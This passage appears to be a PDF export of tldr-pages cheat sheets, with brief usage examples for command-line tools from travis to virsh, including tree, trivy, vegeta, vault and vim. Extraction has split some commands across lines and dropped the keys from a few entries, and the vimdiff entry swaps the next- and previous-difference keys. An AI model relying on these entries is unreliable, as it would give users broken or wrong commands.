travis login

• List repositories the user has permissions on:

travis repos

• Encrypt values in .travis.yml:

travis encrypt {{token}}

• Generate a .travis.yml file and enable the project:

travis init
trawl
Prints out network interface information to the console, much like ifconfig/ipconfig/ip/
ifdata.

More information: https://github.com/robphoenix/trawl.

• Show column names:

trawl -n

• Filter interface names using a case-insensitive regular expression:

trawl -f wi

• Get a list of available interfaces:

trawl -i

• Include the loopback interface:

trawl -l
tred
Compute the transitive reduction of directed graphs.

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://www.graphviz.org/pdf/tred.1.pdf.

• Construct the transitive reduction graph of one or more directed graphs:

tred {{path/to/input1.gv}} {{path/to/input2.gv ...}} >


{{path/to/output.gv}}

• Display help:

tred -?
tree
Show the contents of the current directory as a tree.

More information: http://mama.indstate.edu/users/ice/tree/.

• Print files and directories up to 'num' levels of depth (where 1 means the current
directory):

tree -L {{num}}

• Print directories only:

tree -d

• Print hidden files too with colorization on:

tree -a -C

• Print the tree without indentation lines, showing the full path instead (use -N to
not escape non-printable characters):

tree -i -f

• Print the size of each file and the cumulative size of each directory, in human-
readable format:

tree -s -h --du

• Print files within the tree hierarchy, using a wildcard (glob) pattern, and pruning
out directories that don't contain matching files:

tree -P '{{*.txt}}' --prune

• Print directories within the tree hierarchy, using the wildcard (glob) pattern, and
pruning out directories that aren't ancestors of the wanted one:

tree -P {{directory_name}} --matchdirs --prune

• Print the tree ignoring the given directories:

tree -I '{{directory_name1|directory_name2}}'
trivy
Scanner for vulnerabilities in container images, file systems, and Git repositories, as well
as for configuration issues.

More information: https://github.com/aquasecurity/trivy.

• Scan an image:

trivy image {{image:tag}}

• Scan the filesystem for vulnerabilities and misconfigurations:

trivy fs --security-checks {{vuln,config}} {{path/to/


project_directory}}

• Scan a directory for misconfigurations:

trivy config {{path/to/iac_directory}}

• Generate output with a SARIF template:

trivy image --format {{template}} --template {{"@sarif.tpl"}}


-o {{path/to/report.sarif}} {{image:tag}}
troff
Typesetting processor for the groff (GNU Troff) document fomatting system.

See also groff.

More information: https://manned.org/troff.

• Format output for a PostScript printer, saving the output to a file:

troff {{path/to/input.roff}} | grops > {{path/to/output.ps}}

• Format output for a PostScript printer using the [me] macro package, saving the
output to a file:

troff -{{me}} {{path/to/input.roff}} | grops > {{path/to/


output.ps}}

• Format output as [a]SCII text using the [man] macro package:

troff -T {{ascii}} -{{man}} {{path/to/input.roff}} | grotty

• Format output as a [pdf] file, saving the output to a file:

troff -T {{pdf}} {{path/to/input.roff}} | gropdf > {{path/to/


output.pdf}}
true
Returns a successful exit status code of 0.

Use this with the || operator to make a command always exit with 0.

More information: https://www.gnu.org/software/coreutils/true.

• Return a successful exit code:

true
truffle
A tool for developing smart contracts for running services on the Ethereum blockchain.

More information: https://www.trufflesuite.com/docs/truffle/reference/truffle-


commands.

• Download a pre-built Truffle project (Truffle Box):

truffle unbox {{box_name}}

• Compile contract source files in the current directory:

truffle compile

• Run JavaScript and Solidity tests:

truffle test

• Run migrations to deploy contracts:

truffle migrate

• Display help for a subcommand:

truffle help {{subcommand}}


truncate
Shrink or extend the size of a file to the specified size.

More information: https://www.gnu.org/software/coreutils/truncate.

• Set a size of 10 GB to an existing file, or create a new file with the specified size:

truncate --size {{10G}} {{filename}}

• Extend the file size by 50 MiB, fill with holes (which reads as zero bytes):

truncate --size +{{50M}} {{filename}}

• Shrink the file by 2 GiB, by removing data from the end of file:

truncate --size -{{2G}} {{filename}}

• Empty the file's content:

truncate --size 0 {{filename}}

• Empty the file's content, but do not create the file if it does not exist:

truncate --no-create --size 0 {{filename}}


ts-node
Run TypeScript code directly, without any compiling.

More information: https://www.npmjs.com/package/ts-node.

• Execute a TypeScript file without compiling (node + tsc):

ts-node {{path/to/file.ts}}

• Execute a TypeScript file without loading tsconfig.json:

ts-node --skip-project {{path/to/file.ts}}

• Evaluate TypeScript code passed as a literal on the command-line:

ts-node --eval '{{console.log("Hello World")}}'

• Execute a TypeScript file in script mode:

ts-node --script-mode {{path/to/file.ts}}

• Transpile a TypeScript file to JavaScript without executing it:

ts-node --transpile-only {{path/to/file.ts}}

• Display TS-Node help:

ts-node --help
ts
Add timestamps to every line from standard input.

More information: https://joeyh.name/code/moreutils/.

• Add a timestamp to the beginning of each line:

{{some_command}} | ts

• Add timestamps with microsecond precision:

{{some_command}} | ts "{{%b %d %H:%M:%.S}}"

• Add [i]ncremental timestamps with microsecond precision, starting from zero:

{{some_command}} | ts -i "{{%H:%M:%.S}}"

• Convert existing timestamps in a text file (eg. a log file) into [r]elative format:

cat {{path/to/file}} | ts -r
tsc
TypeScript compiler.

More information: https://www.typescriptlang.org/docs/handbook/compiler-


options.html.

• Compile a TypeScript file foobar.ts into a JavaScript file foobar.js:

tsc {{foobar.ts}}

• Compile a TypeScript file into JavaScript using a specific target syntax (default is
ES3):

tsc --target {{ES5|ES2015|ES2016|ES2017|ES2018|ESNEXT}}


{{foobar.ts}}

• Compile a TypeScript file into a JavaScript file with a custom name:

tsc --outFile {{output.js}} {{input.ts}}

• Compile all .ts files of a TypeScript project defined in a tsconfig.json file:

tsc --build {{tsconfig.json}}

• Run the compiler using command-line options and arguments fetched from a text
file:

tsc @{{args.txt}}

• Type-check multiple JavaScript files, and output only the errors:

tsc --allowJs --checkJs --noEmit {{src/**/*.js}}


tslint
A pluggable linting utility for TypeScript.

More information: https://palantir.github.io/tslint.

• Create TSLint config:

tslint --init

• Lint on a given set of files:

tslint {{filename}}.js {{filename1}}.js

• Fix lint issues:

tslint --fix

• Lint with the config file in the project root:

tslint --project {{path/to/project_root}}


tsort
Perform a topological sort.

A common use is to show the dependency order of nodes in a directed acyclic graph.

More information: https://www.gnu.org/software/coreutils/tsort.

• Perform a topological sort consistent with a partial sort per line of input separated
by blanks:

tsort {{file}}
tty
Returns terminal name.

More information: https://www.gnu.org/software/coreutils/tty.

• Print the file name of this terminal:

tty
tuir
A text user-interface (TUI) to view and interact with Reddit from your terminal.

Navigate with the Vim keys.

More information: https://gitlab.com/ajak/tuir.

• Launch tuir:

tuir

• Open a subreddit:

/{{subreddit_name}}

• Open a link:

• Open a specific subreddit on launch:

tuir -s {{subreddit_name}}

• Open external links using programs defined in the mailcap config:

tuir --enable-media
twm
A window manager for the X Window system.

More information: https://gitlab.freedesktop.org/xorg/app/twm.

• Connect to the default X server:

twm

• Connect to a specific X server:

twm -display {{display}}

• Only manage the default screen:

twm -s

• Use a specific startup file:

twm -f {{path/to/file}}

• Enable verbose mode and print unexpected errors in X:

twm -v
twopi
Render an image of a radial network graph from a graphviz file.

Layouts: dot, neato, twopi, circo, fdp, sfdp, osage & patchwork.

More information: https://graphviz.org/doc/info/command.html.

• Render a png image with a filename based on the input filename and output
format (uppercase -O):

twopi -T {{png}} -O {{path/to/input.gv}}

• Render a svg image with the specified output filename (lowercase -o):

twopi -T {{svg}} -o {{path/to/image.svg}} {{path/to/


input.gv}}

• Render the output in ps, pdf, svg, fig, png, gif, jpg, json, or dot format:

twopi -T {{format}} -O {{path/to/input.gv}}

• Render a gif image using stdin and stdout:

echo "{{digraph {this -> that} }}" | twopi -T {{gif}} >


{{path/to/image.gif}}

• Display help:

twopi -?
tye
Developer tool that makes developing, testing, and deploying microservices and
distributed applications easier.

More information: https://github.com/dotnet/tye.

• Scaffold a tye.yaml file representing the application:

tye init

• Run an application locally:

tye run

• Build an application's containers:

tye build

• Push an application's containers:

tye push

• Deploy an application to Kubernetes:

tye deploy

• Remove a deployed application from Kubernetes:

tye undeploy
type
Display the type of command the shell will execute.

More information: https://manned.org/type.

• Display the type of a command:

type {{command}}

• Display all locations containing the specified executable:

type -a {{command}}

• Display the name of the disk file that would be executed:

type -p {{command}}
typeorm
A JavaScript ORM that can run on Node.js, browser, Cordova, Ionic, React Native,
NativeScript, and Electron platforms.

More information: https://typeorm.io/.

• Generate a new initial TypeORM project structure:

typeorm init

• Create an empty migration file:

typeorm migration:create --name {{migration_name}}

• Create a migration file with the SQL statements to update the schema:

typeorm migration:generate --name {{migration_name}}

• Run all pending migrations:

typeorm migration:run

• Create a new entity file in a specific directory:

typeorm entity:create --name {{entity}} --dir {{path/to/


directory}}

• Display the SQL statements to be executed by typeorm schema:sync on the


default connection:

typeorm schema:log

• Execute a specific SQL statement on the default connection:

typeorm query {{sql_sentence}}

• Display help for a subcommand:

typeorm {{subcommand}} --help


typeset
Declare variables and give them attributes.

More information: https://www.gnu.org/software/bash/manual/bash.html#Bash-


Builtins.

• Declare a string variable with the specified value:

typeset {{variable}}="{{value}}"

• Declare an integer variable with the specified value:

typeset -i {{variable}}="{{value}}"

• Declare an array variable with the specified value:

typeset {{variable}}=({{item_a item_b item_c}})

• Declare an associative array variable with the specified value:

typeset -A {{variable}}=({{[key_a]=item_a [key_b]=item_b


[key_c]=item_c}})

• Declare a readonly variable with the specified value:

typeset -r {{variable}}="{{value}}"

• Declare a global variable within a function with the specified value:

typeset -g {{variable}}="{{value}}"
u3d
Set of tools to interact with Unity from command line.

More information: https://github.com/DragonBox/u3d.

• Open project from the current directory in correct Unity version:

u3d

• List installed versions of Unity:

u3d list

• List available versions of Unity that can be downloaded:

u3d available

• Download and install latest stable Unity version:

u3d install latest_stable

• Download and install Unity version and editor [p]ackages:

u3d install {{2021.2.0f1}} -p {{Unity,iOS,Android}}


ufraw-batch
Convert RAW files from cameras into standard image files.

More information: https://manned.org/ufraw-batch.

• Simply convert RAW files to JPG:

ufraw-batch --out-type=jpg {{input_file(s)}}

• Simply convert RAW files to PNG:

ufraw-batch --out-type=png {{input_file(s)}}

• Extract the preview image from the raw file:

ufraw-batch --embedded-image {{input_file(s)}}

• Save the file with size up to the given maximums MAX1 and MAX2:

ufraw-batch --size=MAX1,MAX2 {{input_file(s)}}


ulimit
Get and set user limits.

More information: https://manned.org/ulimit.

• Get the properties of all the user limits:

ulimit -a

• Get hard limit for the number of simultaneously opened files:

ulimit -H -n

• Get soft limit for the number of simultaneously opened files:

ulimit -S -n

• Set max per-user process limit:

ulimit -u 30
umask
Manage the read/write/execute permissions that are masked out (i.e. restricted) for
newly created files by the user.

More information: https://manned.org/umask.

• Display the current mask in octal notation:

umask

• Display the current mask in symbolic (human-readable) mode:

umask -S

• Change the mask symbolically to allow read permission for all users (the rest of
the mask bits are unchanged):

umask {{a+r}}

• Set the mask (using octal) to restrict no permissions for the file's owner, and
restrict all permissions for everyone else:

umask {{077}}
umount
Unlink a filesystem from its mount point, making it no longer accessible.

A filesystem cannot be unmounted when it is busy.

More information: https://manned.org/umount.8.

• Unmount a filesystem, by passing the path to the source it is mounted from:

umount {{path/to/device_file}}

• Unmount a filesystem, by passing the path to the target where it is mounted:

umount {{path/to/mounted_directory}}

• Unmount all mounted filesystems (except the proc filesystem):

umount -a
unalias
Remove aliases.

More information: https://manned.org/unalias.

• Remove an alias:

unalias {{alias_name}}

• Remove all aliases:

unalias -a
uname
Print details about the current machine and the operating system running on it.

See also lsb_release.

More information: https://www.gnu.org/software/coreutils/uname.

• Print kernel name:

uname

• Print system architecture and processor information:

uname --machine --processor

• Print kernel name, kernel release and kernel version:

uname --kernel-name --kernel-release --kernel-version

• Print system hostname:

uname --nodename

• Print all available system information:

uname --all
unar
Extract contents from archive files.

More information: https://manned.org/unar.

• Extract an archive to the current directory:

unar {{archive}}

• Extract an archive to the specified directory:

unar -o {{path/to/directory}} {{archive}}

• Force overwrite if files to be unpacked already exist:

unar -f {{archive}}

• Force rename if files to be unpacked already exist:

unar -r {{archive}}

• Force skip if files to be unpacked already exist:

unar -s {{archive}}
unclutter
Hides the mouse cursor.

More information: https://manned.org/unclutter.1x.

• Hide mouse cursor after 3 seconds:

unclutter -idle {{3}}


uncrustify
C, C++, C#, D, Java and Pawn source code formatter.

More information: https://github.com/uncrustify/uncrustify.

• Format a single file:

uncrustify -f {{path/to/file.cpp}} -o {{path/to/output.cpp}}

• Read filenames from stdin, and take backups before writing output back to the
original filepaths:

find . -name "*.cpp" | uncrustify -F - --replace

• Don't make backups (useful if files are under version control):

find . -name "*.cpp" | uncrustify -F - --no-backup

• Use a custom configuration file and write the result to stdout:

uncrustify -c {{path/to/uncrustify.cfg}} -f {{path/to/


file.cpp}}

• Explicitly set a configuration variable's value:

uncrustify --set {{option}}={{value}}

• Generate a new configuration file:

uncrustify --update-config -o {{path/to/new.cfg}}


unexpand
Convert spaces to tabs.

More information: https://www.gnu.org/software/coreutils/unexpand.

• Convert blanks in each file to tabs, writing to standard output:

unexpand {{file}}

• Convert blanks to tabs, reading from standard output:

unexpand

• Convert all blanks, instead of just initial blanks:

unexpand -a {{file}}

• Convert only leading sequences of blanks (overrides -a):

unexpand --first-only {{file}}

• Have tabs a certain number of characters apart, not 8 (enables -a):

unexpand -t {{number}} {{file}}


unflatten
Adjust directed graphs to improve the layout aspect ratio.

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://www.graphviz.org/pdf/unflatten.1.pdf.

• Adjust one or more directed graphs to improve the layout aspect ratio:

unflatten {{path/to/input1.gv}} {{path/to/input2.gv ...}} >


{{path/to/output.gv}}

• Use unflatten as a preprocessor for dot layout to improve aspect ratio:

unflatten {{path/to/input.gv}} | dot -T {{png}} {{path/to/


output.png}}

• Display help for unflatten:

unflatten -?
uniq
Output the unique lines from the given input or file.

Since it does not detect repeated lines unless they are adjacent, we need to sort them
first.

More information: https://www.gnu.org/software/coreutils/uniq.

• Display each line once:

sort {{file}} | uniq

• Display only unique lines:

sort {{file}} | uniq -u

• Display only duplicate lines:

sort {{file}} | uniq -d

• Display number of occurrences of each line along with that line:

sort {{file}} | uniq -c

• Display number of occurrences of each line, sorted by the most frequent:

sort {{file}} | uniq -c | sort -nr


unison
Bidirectional file synchronisation tool.

More information: https://www.cis.upenn.edu/~bcpierce/unison/download/releases/


stable/unison-manual.html.

• Sync two directories (creates log first time these two directories are synchronised):

unison {{path/to/directory_1}} {{path/to/directory_2}}

• Automatically accept the (non-conflicting) defaults:

unison {{path/to/directory_1}} {{path/to/directory_2}} -auto

• Ignore some files using a pattern:

unison {{path/to/directory_1}} {{path/to/directory_2}} -


ignore {{pattern}}

• Show documentation:

unison -doc {{topics}}


units
Provide the conversion between two units of measure.

More information: https://www.gnu.org/software/units/.

• Run in interactive mode:

units

• List all units containing a specific string in interactive mode:

search {{string}}

• Show the conversion between two simple units:

units {{quarts}} {{tablespoons}}

• Convert between units with quantities:

units "{{15 pounds}}" {{kilograms}}

• Show the conversion between two compound units:

units "{{meters / second}}" "{{inches / hour}}"

• Show the conversion between units with different dimensions:

units "{{acres}}" "{{ft^2}}"

• Show the conversion of byte multipliers:

units "{{15 megabytes}}" {{bytes}}


unlink
Remove a link to a file from the filesystem.

The file contents is lost if the link is the last one to the file.

More information: https://www.gnu.org/software/coreutils/unlink.

• Remove the specified file if it is the last link:

unlink {{path/to/file}}
unrar
Extract RAR archives.

More information: https://manned.org/unrar.

• Extract files with original directory structure:

unrar x {{compressed.rar}}

• Extract files to a specified path with the original directory structure:

unrar x {{compressed.rar}} {{path/to/extract}}

• Extract files into current directory, losing directory structure in the archive:

unrar e {{compressed.rar}}

• Test integrity of each file inside the archive file:

unrar t {{compressed.rar}}

• List files inside the archive file without decompressing it:

unrar l {{compressed.rar}}
unzip
Extract compressed files in a ZIP archive.

More information: https://manned.org/unzip.

• Extract zip file(s) (for multiple files, separate file paths by spaces):

unzip {{file(s)}}

• Extract zip files(s) to given path:

unzip {{compressed_file(s)}} -d {{path/to/put/


extracted_file(s)}}

• List the contents of a zip file without extracting:

unzip -l {{file.zip}}

• Extract the contents of the file(s) to stdout alongside the extracted file names:

unzip -c {{file.zip}}

• Extract a zip file created on Windows, containing files with non-ASCII (e.g.
Chinese or Japanese characters) filenames:

unzip -O {{gbk}} {{file.zip}}


updog
A replacement for Python's SimpleHTTPServer.

It allows uploading and downloading via HTTP/S, can set ad hoc SSL certificates and use
HTTP basic auth.

More information: https://github.com/sc0tfree/updog.

• Start a HTTP server for the current directory:

updog

• Start a HTTP server for a specified directory:

updog --directory {{/path/to/directory}}

• Start a HTTP server on a specified port:

updog --port {{port}}

• Start a HTTP server with a password (To log in, leave the username blank and
enter the password in the password field):

updog --password {{password}}

• Enable transport encryption via SSL :

updog --ssl
uptime
Tell how long the system has been running and other information.

More information: https://www.gnu.org/software/coreutils/uptime.

• Print current time, uptime, number of logged-in users and other information:

uptime

• Show only the amount of time the system has been booted for:

uptime --pretty

• Print the date and time the system booted up at:

uptime --since

• Show version information:

uptime --version
upx
Compress or decompress executables.

More information: https://upx.github.io.

• Compress executable:

upx {{file}}

• Decompress executable:

upx -d {{file}}

• Detailed help:

upx --help
users
Display a list of logged in users.

More information: https://www.gnu.org/software/coreutils/users.

• Display a list of logged in users:

users

• Display a list of logged in users according to a specific file:

users {{/var/log/wmtp}}
uudecode
Decode files encoded by uuencode.

More information: https://manned.org/uudecode.

• Decode a file that was encoded with uuencode and print the result to stdout:

uudecode {{path/to/encoded_file}}

• Decode a file that was encoded with uuencode and write the result to a file:

uudecode -o {{path/to/decoded_file}} {{path/to/encoded_file}}


uuencode
Encode binary files into ASCII for transport via mediums that only support simple ASCII
encoding.

More information: https://manned.org/uuencode.

• Encode a file and print the result to stdout:

uuencode {{path/to/input_file}}
{{output_file_name_after_decoding}}

• Encode a file and write the result to a file:

uuencode -o {{path/to/output_file}} {{path/to/input_file}}


{{output_file_name_after_decoding}}

• Encode a file using Base64 instead of the default uuencode encoding and write the
result to a file:

uuencode -m -o {{path/to/output_file}} {{path/to/input_file}}


{{output_file_name_after_decoding}}
uvicorn
Python ASGI HTTP Server, for asynchronous projects.

More information: https://www.uvicorn.org/.

• Run Python web app:

uvicorn {{import.path:app_object}}

• Listen on port 8080 on localhost:

uvicorn --host {{localhost}} --port {{8080}}


{{import.path:app_object}}

• Turn on live reload:

uvicorn --reload {{import.path:app_object}}

• Use 4 worker processes for handling requests:

uvicorn --workers {{4}} {{import.path:app_object}}

• Run app over HTTPS:

uvicorn --ssl-certfile {{cert.pem}} --ssl-keyfile {{key.pem}}


{{import.path:app_object}}
vagrant
Manage lightweight, reproducible, and portable development environments.

More information: https://www.vagrantup.com.

• Create Vagrantfile in current directory with the base Vagrant box:

vagrant init

• Create Vagrantfile with the Ubuntu 20.04 (Focal Fossa) box from HashiCorp Atlas:

vagrant init ubuntu/focal64

• Start and provision the vagrant environment:

vagrant up

• Suspend the machine:

vagrant suspend

• Halt the machine:

vagrant halt

• Connect to machine via SSH:

vagrant ssh

• Output the SSH configuration file of the running Vagrant machine:

vagrant ssh-config
vala
Vala code runner.

Tutorial: https://wiki.gnome.org/Projects/Vala/Tutorial.

More information: https://valadoc.org/.

• Run a vala file, with gtk+:

vala {{path/to/file.vala}} --pkg {{gtk+-3.0}}

• Display version info:

vala --version

• Display helper message:

vala --help
valac
Vala code compiler.

Tutorial: https://wiki.gnome.org/Projects/Vala/Tutorial.

More information: https://valadoc.org/.

• Compile a vala file, with gtk+:

valac {{path/to/file.vala}} --pkg {{gtk+-3.0}}

• Display version info:

valac --version

• Display helper message:

valac --help
valgrind
Wrapper for a set of expert tools for profiling, optimizing and debugging programs.

Commonly used tools include memcheck, cachegrind, callgrind, massif,


helgrind, and drd.

More information: http://www.valgrind.org.

• Use the (default) Memcheck tool to show a diagnostic of memory usage by


program:

valgrind {{program}}

• Use Memcheck to report all possible memory leaks of program in full detail:

valgrind --leak-check=full --show-leak-kinds=all {{program}}

• Use the Cachegrind tool to profile and log CPU cache operations of program:

valgrind --tool=cachegrind {{program}}

• Use the Massif tool to profile and log heap memory and stack usage of program:

valgrind --tool=massif --stacks=yes {{program}}


var-dump-server
Symfony dump server.

Collects data dumped by the Symfony VarDumper component.

More information: https://symfony.com/doc/current/components/


var_dumper.html#the-dump-server.

• Start the server:

var-dump-server

• Dump the data in an HTML file:

var-dump-server --format=html > {{path/to/file.html}}

• Make the server listen on a specific address and port:

var-dump-server --host {{127.0.0.1:9912}}


vault
A CLI to interact with HashiCorp Vault.

More information: https://www.vaultproject.io/docs/commands.

• Connect to a Vault server and initialize a new encrypted data store:

vault init

• Unseal (unlock) the vault, by providing one of the key shares needed to access the
encrypted data store:

vault unseal {{key-share-x}}

• Authenticate the CLI client against the Vault server, using an authentication
token:

vault auth {{authentication_token}}

• Store a new secret in the vault, using the generic back-end called "secret":

vault write secret/{{hello}} value={{world}}

• Read a value from the vault, using the generic back-end called "secret":

vault read secret/{{hello}}

• Read a specific field from the value:

vault read -field={{field_name}} secret/{{hello}}

• Seal (lock) the Vault server, by removing the encryption key of the data store from
memory:

vault seal
VBoxManage
Command-line interface to VirtualBox.

Includes all the functionality of the GUI and more.

More information: https://www.virtualbox.org/manual/ch08.html#vboxmanage-intro.

• List all VirtualBox virtual machines:

VBoxManage list vms

• Show information about a particular virtual machine:

VBoxManage showvminfo {{name|uuid}}

• Start a virtual machine:

VBoxManage startvm {{name|uuid}}

• Start a virtual machine in headless mode:

VBoxManage startvm {{name|uuid}} -type headless

• Shutdown the virtual machine and save its current state:

VBoxManage controlvm {{name|uuid}} savestate

• Shutdown down the virtual machine without saving its state:

VBoxManage controlvm {{name|uuid}} poweroff

• Update VBox extension packs:

VBoxManage extpack install --replace


{{VboxExtensionPackFileName}}
vcsh
Version Control System for the home directory using Git repositories.

More information: https://github.com/RichiH/vcsh.

• Initialize an (empty) repository:

vcsh init {{repository_name}}

• Clone a repository into a custom directory name:

vcsh clone {{git_url}} {{repository_name}}

• List all managed repositories:

vcsh list

• Execute a Git command on a managed repository:

vcsh {{repository_name}} {{git_command}}

• Push/pull all managed repositories to/from remotes:

vcsh {{push|pull}}

• Write a custom .gitignore file for a managed repository:

vcsh write-gitignore {{repository_name}}


vdir
List directory contents.

Drop-in replacement for ls -l.

More information: https://www.gnu.org/software/coreutils/vdir.

• List files and directories in the current directory, one per line, with details:

vdir

• List with sizes displayed in human-readable units (KB, MB, GB):

vdir -h

• List including hidden files (starting with a dot):

vdir -a

• List files and directories sorting entries by size (largest first):

vdir -S

• List files and directories sorting entries by modification time (newest first):

vdir -t

• List grouping directories first:

vdir --group-directories-first

• Recursively list all files and directories in a specific directory:

vdir --recursive {{path/to/directory}}


vectorize-pixelart
Convert PNG pixel art graphics to SVG/EPS vector images.

More information: https://github.com/und3f/vectorize-pixelart.

• Convert a PNG to a vector image format:

vectorize-pixelart {{path/to/input.png}} {{path/to/


output.svg|.eps}}
vegeta
A command-line utility and a library for HTTP load testing.

See also ab.

More information: https://github.com/tsenart/vegeta.

• Launch an attack lasting 30 seconds:

echo "{{GET https://example.com}}" | vegeta attack -


duration={{30s}}

• Launch an attack on a server with a self-signed HTTPS certificate:

echo "{{GET https://example.com}}" | vegeta attack -insecure


-duration={{30s}}

• Launch an attack with a rate of 10 requests per second:

echo "{{GET https://example.com}}" | vegeta attack -


duration={{30s}} -rate={{10}}

• Launch an attack and display a report:

echo "{{GET https://example.com}}" | vegeta attack -


duration={{30s}} | vegeta report

• Launch an attack and plot the results on a graph (latency over time):

echo "{{GET https://example.com}}" | vegeta attack -


duration={{30s}} | vegeta plot > {{path/to/results.html}}

• Launch an attack against multiple URLs from a file:

vegeta attack -duration={{30s}} -targets={{requests.txt}} |


vegeta report
vela
Command-line tools for the Vela pipeline.

More information: https://go-vela.github.io/docs/reference/cli/.

• Trigger a pipeline to run from a Git branch, commit or tag:

vela add deployment --org {{organization}} --repo


{{repository_name}} --target {{environment}} --ref {{branch|
commit|refs/tags/git_tag}} --description
"{{deploy_description}}"

• List deployments for a repository:

vela get deployment --org {{organization}} --repo


{{repository_name}}

• Inspect a specific deployment:

vela view deployment --org {{organization}} --repo


{{repository_name}} --deployment {{deployment_number}}
velero
Backup and migrate Kubernetes applications and their persistent volumes.

More information: https://github.com/heptio/velero.

• Create a backup containing all resources:

velero backup create {{backup_name}}

• List all backups:

velero backup get

• Delete a backup:

velero backup delete {{backup_name}}

• Create a weekly backup, each living for 90 days (2160 hours):

velero schedule create {{schedule_name}} --


schedules="{{@every 7d}}" --ttl {{2160h0m0s}}

• Create a restore from the latest successful backup triggered by specific schedule:

velero restore create --from-schedule {{schedule_name}}


vercel
Deploy and manage your Vercel deployments.

More information: https://vercel.com/docs/cli.

• Deploy the current directory:

vercel

• Deploy the current directory to production:

vercel --prod

• Deploy a directory:

vercel {{path/to/project}}

• Initialize an example project:

vercel init

• Deploy with Environment Variables:

vercel --env {{ENV}}={{var}}

• Build with Environment Variables:

vercel --build-env {{ENV}}={{var}}

• Set default regions to enable the deployment on:

vercel --regions {{region_id}}

• Remove a deployment:

vercel remove {{project_name}}


vi
This command is an alias of vim.

• View documentation for the original command:

tldr vim
view
A read-only version of vim.

This is equivalent to vim -R.

• Open a file:

view {{file}}
vim
Vim (Vi IMproved), a command-line text editor, provides several modes for different
kinds of text manipulation.

Pressing i enters insert mode. <Esc> enters normal mode, which enables the use of
Vim commands.

More information: https://www.vim.org.

• Open a file:

vim {{path/to/file}}

• Open a file at a specified line number:

vim +{{line_number}} {{path/to/file}}

• View Vim's help manual:

:help<Enter>

• Save and Quit:

:wq<Enter>

• Undo the last operation:

• Search for a pattern in the file (press n/N to go to next/previous match):

/{{search_pattern}}<Enter>

• Perform a regular expression substitution in the whole file:

:%s/{{regular_expression}}/{{replacement}}/g<Enter>

• Display the line numbers:

:set nu<Enter>
vimdiff
Open up two or more files in vim and show the differences between them.

See also vim.

More information: https://www.vim.org.

• Open two files and show the differences:

vimdiff {{file1}} {{file2}}

• Move the cursor to the window on the left|right:

Ctrl + w {{h|l}}

• Jump to the next difference:

[c

• Jump to the previous difference:

]c

• Copy the highlighted difference from the other window to the current window:

do

• Copy the highlighted difference from the current window to the other window:

dp

• Update all highlights and folds:

:diffupdate

• Toggle the highlighted code fold:

za
vimtutor
Vim tutor, teaching the basic vim commands.

More information: https://manned.org/vimtutor.

• Launch the vim tutor using the given language (en, fr, de, ...):

vimtutor {{language}}

• Exit the tutor:

<Esc> :q <Enter>
virsh-connect
Connect to a virtual machine hypervisor.

See also: virsh.

More information: https://manned.org/virsh.

• Connect to the default hypervisor:

virsh connect

• Connect as root to the local QEMU/KVM hypervisor:

virsh connect qemu:///system

• Launch a new instance of the hypervisor and connect to it as the local user:

virsh connect qemu:///session

• Connect as root to a remote hypervisor using ssh:

virsh connect qemu+ssh://{{user_name@host_name}}/system


virsh-domblklist
List information about block devices associated with a virtual machine.

See also: virsh.

More information: https://manned.org/virsh.

• List the target name and source path of the block devices:

virsh domblklist --domain {{vm_name}}

• List the disk type and device value as well as the target name and source path:

virsh domblklist --domain {{vm_name}} --details


virsh-help
Display information about virsh commands or command groups.

See also: virsh.

More information: https://manned.org/virsh.

• List the virsh commands grouped into related categories:

virsh help

• List the command categories:

virsh help | grep "keyword"

• List the commands in a category:

virsh help {{category_keyword}}

• Show help for a command:

virsh help {{command}}


virsh-list
List the ID, name, and state of virtual machines.

See also: virsh.

More information: https://manned.org/virsh.

• List information about running virtual machines:

virsh list

• List information about virtual machines regardless of state:

virsh list --all

• List information about virtual machines with autostart either enabled or disabled:

virsh list --all --{{autostart|no-autostart}}

• List information about virtual machines either with or without snapshots:

virsh list --all --{{with-snapshot|without-snapshot}}


virsh pool-autostart
Enable or disable autostart for a virtual machine storage pool.

See also: virsh.

More information: https://manned.org/virsh.

• Enable autostart for the storage pool specified by name or UUID (determine using
virsh pool-list):

virsh pool-autostart --pool {{name|uuid}}

• Disable autostart for the storage pool specified by name or UUID:

virsh pool-autostart --pool {{name|uuid}} --disable


virsh pool-build
Build the underlying storage system for a virtual machine storage pool as defined in it's
configuration file in /etc/libvirt/storage.

See also: virsh, virsh-pool-define-as, virsh-pool-start.

More information: https://manned.org/virsh.

• Build the storage pool specified by name or UUID (determine using virsh pool-
list):

virsh pool-build --pool {{name|uuid}}


virsh pool-define-as
Create a configuration file in /etc/libvirt/storage for a persistent virtual machine
storage pool from the provided arguments.

See also: virsh, virsh-pool-build, virsh-pool-start.

More information: https://manned.org/virsh.

• Create the configuration file for a storage pool called pool_name using /var/vms
as the underlying storage system:

virsh pool-define-as --name {{pool_name}} --type {{dir}} --


target {{/var/vms}}
virsh pool-delete
Delete the underlying storage system of an inactive virtual machine storage pool.

See also: virsh, virsh-pool-destroy, virsh-pool-undefine.

More information: https://manned.org/virsh.

• Delete the underlying storage system for the storage pool specified by name or
UUID (determine using virsh pool-list):

virsh pool-delete --pool {{name|uuid}}


virsh pool-destroy
Stop an active virtual machine storage pool.

See also: virsh, virsh-pool-delete.

More information: https://manned.org/virsh.

• Stop a storage pool specified by name or UUID (determine using virsh pool-
list):

virsh pool-destroy --pool {{name|uuid}}


virsh pool-info
List information about a virtual machine storage pool.

See also: virsh.

More information: https://manned.org/virsh.

• List the name, UUID, state, persistence type, autostart status, capacity, space
allocated, and space available for the storage pool specified by name or UUID
(determine using virsh pool-list):

virsh pool-info --pool {{name|uuid}}


virsh pool-list
List information about virtual machine storage pools.

See also: virsh, virsh-pool-autostart, virsh-pool-define-as.

More information: https://manned.org/virsh.

• List the name, state, and whether autostart is enabled or disabled for active
storage pools:

virsh pool-list

• List information for active and inactive or just inactive storage pools:

virsh pool-list --{{all|inactive}}

• List extended information about persistence, capacity, allocation, and available


space for active storage pools:

virsh pool-list --details

• List information for active storage pools with either autostart enabled or disabled:

virsh pool-list --{{autostart|no-autostart}}

• List information for active storage pools that are either persistent or transient:

virsh pool-list --{{persistent|transient}}

• List the name and UUID of active storage pools:

virsh pool-list --name --uuid


virsh pool-start
Start a previously configured but inactive virtual machine storage pool.

See also: virsh, virsh-pool-define-as, virsh-pool-destroy.

More information: https://manned.org/virsh.

